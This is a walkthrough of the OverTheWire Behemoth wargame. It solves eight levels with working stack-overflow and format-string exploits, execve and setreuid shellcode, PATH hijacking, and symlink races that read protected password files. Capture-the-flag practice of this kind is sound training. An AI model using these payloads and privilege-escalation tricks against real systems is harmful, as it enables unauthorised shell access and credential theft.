behemoth.labs.overthewire.org 2221
level 0 → level 1
SSH InformationHost: behemoth.labs.overthewire.orgPort: 2221User: behemoth0Passwords: /etc/behemoth_pass/Binaries: /behemoth/behemoth0@behemoth:~$ ls -la /behemoth/total 136drwxr-xr-x 2 root root 4096 Apr 3 15:18 .drwxr-xr-x 31 root root 4096 May 16 18:30 ..-r-sr-x--- 1 behemoth1 behemoth0 11700 Apr 3 15:17 behemoth0-r-sr-x--- 1 behemoth2 behemoth1 11304 Apr 3 15:17 behemoth1-r-sr-x--- 1 behemoth3 behemoth2 15128 Apr 3 15:17 behemoth2-r-sr-x--- 1 behemoth4 behemoth3 11352 Apr 3 15:18 behemoth3-r-sr-x--- 1 behemoth5 behemoth4 15124 Apr 3 15:18 behemoth4-r-sr-x--- 1 behemoth6 behemoth5 15408 Apr 3 15:18 behemoth5-r-sr-x--- 1 behemoth7 behemoth6 15148 Apr 3 15:18 behemoth6-r-xr-x--- 1 behemoth7 behemoth6 14928 Apr 3 15:18 behemoth6_reader-r-sr-x--- 1 behemoth8 behemoth7 11476 Apr 3 15:18 behemoth7
behemoth0@behemoth:~$ ls -la /etc/behemoth_pass/total 52drwxr-xr-x 2 root root 4096 Apr 3 15:17 .drwxr-xr-x 128 root root 12288 May 10 08:58 ..-r-------- 1 behemoth0 behemoth0 10 Apr 3 15:17 behemoth0-r-------- 1 behemoth1 behemoth1 11 Apr 3 15:17 behemoth1-r-------- 1 behemoth2 behemoth2 11 Apr 3 15:17 behemoth2-r-------- 1 behemoth3 behemoth3 11 Apr 3 15:17 behemoth3-r-------- 1 behemoth4 behemoth4 11 Apr 3 15:17 behemoth4-r-------- 1 behemoth5 behemoth5 11 Apr 3 15:17 behemoth5-r-------- 1 behemoth6 behemoth6 11 Apr 3 15:17 behemoth6-r-------- 1 behemoth7 behemoth7 11 Apr 3 15:17 behemoth7-r-------- 1 behemoth8 behemoth8 11 Apr 3 15:17 behemoth8Behemoth is a binary exploitation wargame with 9 levels (0-8). Focuses on real-world vulnerabilities commonly found in the wild: buffer overflows, format strings, race conditions, and privilege escalation.
Tools: gdb/pwndbg, objdump, strings, ltrace, strace, python3/pwntools, pattern_offset.rb, nasm, Ghidra.
behemoth0@behemoth:~$ /behemoth/behemoth0Password:The binary compares input against a hardcoded password encrypted with memfrob() (XOR with 42). Use strings, ltrace, or set a breakpoint at memfrob() in gdb to find the plaintext.
behemoth0@behemoth:~$ ltrace /behemoth/behemoth0Password: teststrlen("OK^GSYBEX^Y") = 11strcmp("test", "eatmyshorts") = -1The password is revealed by ltrace: eatmyshorts. Enter it to get a shell as behemoth1.
behemoth0@behemoth:~$ /behemoth/behemoth0Password: eatmyshortsAccess granted..$ whoamibehemoth1$ cat /etc/behemoth_pass/behemoth1**********[credential redacted]
level 1 → level 2
Level 1: Stack-based buffer overflow. The binary uses gets() with no bounds checking. Exploit with ret2shellcode (NX disabled).
Finding EIP offset
Use pwntools cyclic pattern:
behemoth1@behemoth:/tmp/behemoth1$ python3 -c "from pwn import *import syssys.stdout.buffer.write(cyclic(200, n=4))" > pattern.txt
behemoth1@behemoth:/tmp/behemoth1$ gdb -q -nx -batch \ -ex "set pagination off" \ -ex "set disable-randomization on" \ -ex "run < pattern.txt" \ -ex "info registers eip" \ /behemoth/behemoth1# EIP = 0x61617361from pwn import *eip = 0x61617361offset = cyclic_find(p32(eip), n=4) # → 71Payload
The binary doesn’t zero environment variables, so store shellcode in EGG env var. Use /tmp/behemoth1/getenv (pre-compiled, source below) to find its address:
behemoth1@behemoth:/tmp/behemoth1$ export EGG=$(python3 -c "import sysfrom pwn import *context.arch = 'i386'sc = asm('xor eax,eax; mov al,0xb; xor edx,edx; xor ecx,ecx; push ecx; push 0x68732f2f; push 0x6e69622f; mov ebx,esp; int 0x80')sys.stdout.buffer.write(b'\\x90'*50 + sc)")
behemoth1@behemoth:/tmp/behemoth1$ ./getenv EGG /behemoth/behemoth1EGG is at 0xffffde6cExploit with the env address:
behemoth1@behemoth:/tmp/behemoth1$ (python3 -c "from pwn import *context.arch = 'i386'print('A' * 71 + p32(0xffffde6c).decode('latin-1'))"; cat) | /behemoth/behemoth1$ whoamibehemoth2$ cat /etc/behemoth_pass/behemoth2[credential redacted]
level 2 → level 3
Level 2: PATH hijacking. The binary calls system("touch <pid>") without an absolute path. It also calls system("cat <filename>") after sleeping for 2000 seconds.
Create a fake touch executable in /tmp that cats the password, then modify PATH:
behemoth2@behemoth:/tmp$ echo '#!/bin/bash' > touchbehemoth2@behemoth:/tmp$ echo 'cat /etc/behemoth_pass/behemoth3' >> touchbehemoth2@behemoth:/tmp$ chmod +x touchbehemoth2@behemoth:/tmp$ export PATH=.:$PATHbehemoth2@behemoth:/tmp$ /behemoth/behemoth2# password printed immediatelyAlternative symlink approach: create a symlink named after the PID pointing to the password file before cat runs (within the 2000 second window).
[credential redacted]
level 3 → level 4
Level 3: Format string vulnerability. The binary calls printf(user_input) directly — the format string is user-controlled. Use %n to overwrite puts@GOT and redirect execution to shellcode.
Finding the format string offset
behemoth3@behemoth:/behemoth$ /behemoth/behemoth3Identify yourself: AAAABBBB.%x.%x.%x.%x.%x.%x.%xWelcome, AAAABBBB.41414141.42424242.2e78252e.252e7825...Our input (AAAABBBB) appears at positions 1 and 2 on the format string stack (0x41414141, 0x42424242). This means the first 8 bytes of our input are directly addressable via %1$hn and %2$hn.
Binary properties
from pwn import *e = ELF("/behemoth/behemoth3")# PIE: False, No canary, No RELRO# puts@GOT = 0x0804b218 (NOT the old 0x080497ac)# Stack: Executable (no GNU_STACK header)Exploit strategy
- Store shellcode in an environment variable
EGG - Find
EGGaddress using/tmp/behemoth1/getenv(pre-compiled, source below) - Overwrite puts@GOT with the EGG address using
%hnwrites
Shellcode in environment
behemoth3@behemoth:/tmp/behemoth3$ export EGG=$(python3 -c "import sysfrom pwn import *context.arch = 'i386'sc = asm('xor eax,eax; mov al,0xb; xor edx,edx; xor ecx,ecx; push ecx; push 0x68732f2f; push 0x6e69622f; mov ebx,esp; int 0x80')sys.stdout.buffer.write(b'\\x90'*50 + sc)")
behemoth3@behemoth:/tmp/behemoth3$ /tmp/behemoth1/getenv EGG /behemoth/behemoth3EGG is at 0xffffde6eThe returned address shifts with argv length. To keep it stable, pad argv[0] when running the binary to match the getenv call length:
behemoth3@behemoth:/tmp/behemoth3$ ARGV0=$(python3 -c "print('/behemoth/behemoth3' + ' ' * 40)")behemoth3@behemoth:/tmp/behemoth3$ /tmp/behemoth1/getenv EGG "$ARGV0"# same argv length → stable addressFormat string calculation
puts@GOT = 0x0804b218. The EGG address has two 16-bit halves:
- low =
egg_addr & 0xffff - high =
(egg_addr >> 16) & 0xffff
Payload structure:
[puts@GOT addr (4B)] [puts@GOT+2 (4B)] [fmt specifiers] [newline] ↑ arg 1 for %1$hn ↑ arg 2 for %2$hnThe first 8 bytes are printed as literal output, then %<val1>c pads to reach low, then %<val2>c pads further to reach high:
from pwn import *context.arch = "i386"
puts_got = 0x0804b218egg_addr = 0xffffde6e # from getenv, adjust per session
low = egg_addr & 0xffffhigh = (egg_addr >> 16) & 0xffff
val1 = low - 8val2 = high - low
payload = p32(puts_got) + p32(puts_got + 2)payload += f"%{val1}c%1$hn%{val2}c%2$hn".encode()Run
behemoth3@behemoth:/tmp/behemoth3$ python3 -c "from pwn import *context.arch = 'i386'puts_got = 0x0804b218egg_addr = 0xffffde6e # from getenvlow = egg_addr & 0xffffhigh = (egg_addr >> 16) & 0xffffval1 = low - 8val2 = high - lowimport syssys.stdout.buffer.write(p32(puts_got) + p32(puts_got + 2) + f'%{val1}c%1\$hn%{val2}c%2\$hn'.encode() + b'\nid\ncat /etc/behemoth_pass/behemoth4\n')" | /behemoth/behemoth3If the EGG address was stable (same argv length), this overwrites puts@GOT. When the binary calls puts("aaaand goodbye again."), it jumps to the shellcode instead.
Caveat: The env address varies with argv[0] length. If the exploit doesn’t work, find the EGG address and exploit binary with identical argv lengths, or embed shellcode directly in the format string buffer (address found via stack leak).
[credential redacted]
level 4 → level 5
Level 4: The binary checks for a file at /tmp/<pid> and if it exists, reads and prints its contents. The PID is obtained from getpid(). Create a symlink from /tmp/<pid> to /etc/behemoth_pass/behemoth5.
The simplest approach: pre-create symlinks covering a wide PID range, then loop running the binary:
behemoth4@behemoth:/tmp/behemoth4$ for i in $(seq 1 65535); do ln -sf /etc/behemoth_pass/behemoth5 $i 2>/dev/nulldone
behemoth4@behemoth:/tmp/behemoth4$ while :; do /behemoth/behemoth4 2>&1 | grep -v "PID not found" && breakdoneThis can take a few seconds to minutes—each run has a PID, and you need one that falls in your symlink range.
[credential redacted]
level 5 → level 6
Level 5: Insecure data exfiltration over UDP. The binary reads /etc/behemoth_pass/behemoth6 and sends it to 127.0.0.1:1337 via UDP.
Set up a UDP listener on port 1337 in one session, then run the binary in another:
# Session 1 - listenerbehemoth5@behemoth:~$ nc -lup 1337
# Session 2 - triggerbehemoth5@behemoth:~$ /behemoth/behemoth5# password received in session 1[credential redacted]
level 6 → level 7
Level 6: Shellcode execution gated by string comparison. behemoth6 runs behemoth6_reader via popen(), reads its output, and compares it to “HelloKitty” using strcmp(). If they match, a shell is spawned as behemoth7.
behemoth6_reader reads shellcode.txt and executes it as shellcode — but filters out byte 0x0b (int 0x80 / execve syscall).
Write shellcode that prints “HelloKitty” to stdout without using 0x0b:
from pwn import *context.arch = "i386"
sc = asm(""" jmp short getmsgprintmsg: xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx mov al, 0x4 /* write syscall (not 0x0b, blocked) */ mov bl, 0x1 /* stdout */ pop ecx /* message address */ mov dl, 0xa /* "HelloKitty" = 10 bytes */ int 0x80 xor eax, eax mov al, 0x1 /* exit syscall */ xor ebx, ebx int 0x80getmsg: call printmsg .ascii "HelloKitty"""")print(sc.hex())Extract the shellcode bytes:
behemoth6@behemoth:/tmp/behemoth6$ python3 -c "from pwn import *context.arch = 'i386'sc = asm('jmp short getmsg; printmsg: xor eax,eax; xor ebx,ebx; xor ecx,ecx; xor edx,edx; mov al,0x4; mov bl,0x1; pop ecx; mov dl,0xa; int 0x80; xor eax,eax; mov al,0x1; xor ebx,ebx; int 0x80; getmsg: call printmsg; .ascii \"HelloKitty\"')import syssys.stdout.buffer.write(sc)" > shellcode.txtOr if you prefer NASM, extract with pwntools instead of grep -Po:
Write to shellcode.txt and run:
behemoth6@behemoth:/tmp/behemoth6$ python3 -c "from pwn import *context.arch = 'i386'import syssc = asm('jmp short getmsg; printmsg: xor eax,eax; xor ebx,ebx; xor ecx,ecx; xor edx,edx; mov al,0x4; mov bl,0x1; pop ecx; mov dl,0xa; int 0x80; xor eax,eax; mov al,0x1; xor ebx,ebx; int 0x80; getmsg: call printmsg; .ascii \"HelloKitty\"')sys.stdout.buffer.write(sc)" > shellcode.txtbehemoth6@behemoth:/tmp/behemoth6$ /behemoth/behemoth6Correct.$ whoamibehemoth7[credential redacted]
Level 7 → Level 8
Level 7: strcpy() buffer overflow with guardrails. The binary:
- Zeroes all environment variables with
memset()at startup — no env shellcode - Scans argv[1] first 512 bytes for non-alphanumeric chars via
__ctype_b_loc+isalnum()— exits if found - Uses
strcpy()without bounds checking — classic overflow
behemoth7@behemoth:~$ /behemoth/behemoth7 $(perl -e 'print "\x90"')Non-alpha chars found in string, possible shellcode!The loop counter compares against 0x1ff (511), so only the first 512 bytes are checked. Everything past byte 512 bypasses the filter.
Finding EIP offset
behemoth7@behemoth:/behemoth$ gdb -q ./behemoth7(gdb) r $(python3 -c 'from pwn import *; print(cyclic(700, n=4).decode())')Segmentation fault (core dumped) 0x66616168
# cyclic_find returns 528(gdb) r $(python3 -c 'print("A"*528 + "BBBB" + "C"*300)')# EIP = 0x42424242 ✓Offset is 528.
Payload strategy
First 512 bytes can only contain alphanumeric bytes — 'A' is fine. Non-alpha payload goes past byte 512. Since the shellcode + return address (after EIP) spans positions 528+, we can put a long NOP sled after the return address on the stack, pointed to by ESP after ret:
[A × 528] [RET → ESP] [NOP sled × 200] [shellcode] 0..527 528..531 532..731 732..Shellcode with setreuid
Bash/dash drops setuid privileges on startup if real UID ≠ effective UID. The binary runs with euid=behemoth8 but ruid=behemoth7, so a plain execve("/bin//sh") shell will have uid=behemoth7 and can’t read the password. Fix: call setreuid(13008, 13008) (behemoth8 UID) first.
from pwn import *context.arch = "i386"
sc = asm(""" /* setreuid(13008, 13008) — syscall 70 */ xor eax, eax mov al, 0x46 xor ebx, ebx mov bh, 0x32 mov bl, 0xd0 /* ebx = 0x32d0 = 13008 */ xor ecx, ecx mov ch, 0x32 mov cl, 0xd0 /* ecx = 0x32d0 = 13008 */ int 0x80
/* execve("/bin//sh", NULL, NULL) — syscall 11 */ xor eax, eax mov al, 0xb xor edx, edx xor ecx, ecx push ecx push 0x68732f2f /* "//sh" */ push 0x6e69622f /* "/bin" */ mov ebx, esp int 0x80""")Total: 41 bytes. A 200-byte NOP sled before it provides plenty of landing zone.
Finding the stack address
Crash with a placeholder (4 Bs at EIP offset), then read ESP — it points right at the NOP sled:
behemoth7@behemoth:/tmp$ python3 -c "from pwn import *context.arch = 'i386'payload = b'A'*528 + b'BBBB' + asm('nop')*200 + b'SC_PLACEHOLDER'open('/tmp/b7_payload.bin','wb').write(payload)"
behemoth7@behemoth:/tmp$ gdb -q -nx -batch \ -ex "set pagination off" \ -ex "set disable-randomization on" \ -ex "unset environment LINES COLUMNS TERM" \ -ex "run \$(cat /tmp/b7_payload.bin)" \ -ex "info registers eip esp" \ -ex "x/4wx \$esp" \ /behemoth/behemoth7# EIP = 0x42424242, ESP = 0xffffd8f0# At ESP: 0x90909090 0x90909090 0x90909090 0x90909090 ← NOP sled ✓Stack is at 0xffffd8f0 — stable per session (ASLR disabled server-side), varies between logins.
Exploit
behemoth7@behemoth:/tmp$ /behemoth/behemoth7 $(python3 -c 'from pwn import *context.arch = "i386"sc = asm(""" xor eax, eax mov al, 0x46 xor ebx, ebx mov bh, 0x32 mov bl, 0xd0 xor ecx, ecx mov ch, 0x32 mov cl, 0xd0 int 0x80 xor eax, eax mov al, 0xb xor edx, edx xor ecx, ecx push ecx push 0x68732f2f push 0x6e69622f mov ebx, esp int 0x80""")ret = 0xffffd8f0 # from gdb, adjust per sessionprint("A" * 528 + p32(ret).decode("latin-1") + "\x90" * 200 + sc.decode("latin-1"))')$ iduid=13008(behemoth8) gid=13007(behemoth7) groups=13007(behemoth7)$ cat /etc/behemoth_pass/behemoth8Replace 0xffffd8f0 with the ESP value from your gdb session. If the shell doesn’t spawn, the address missed the NOP sled — adjust ±16.
[credential redacted]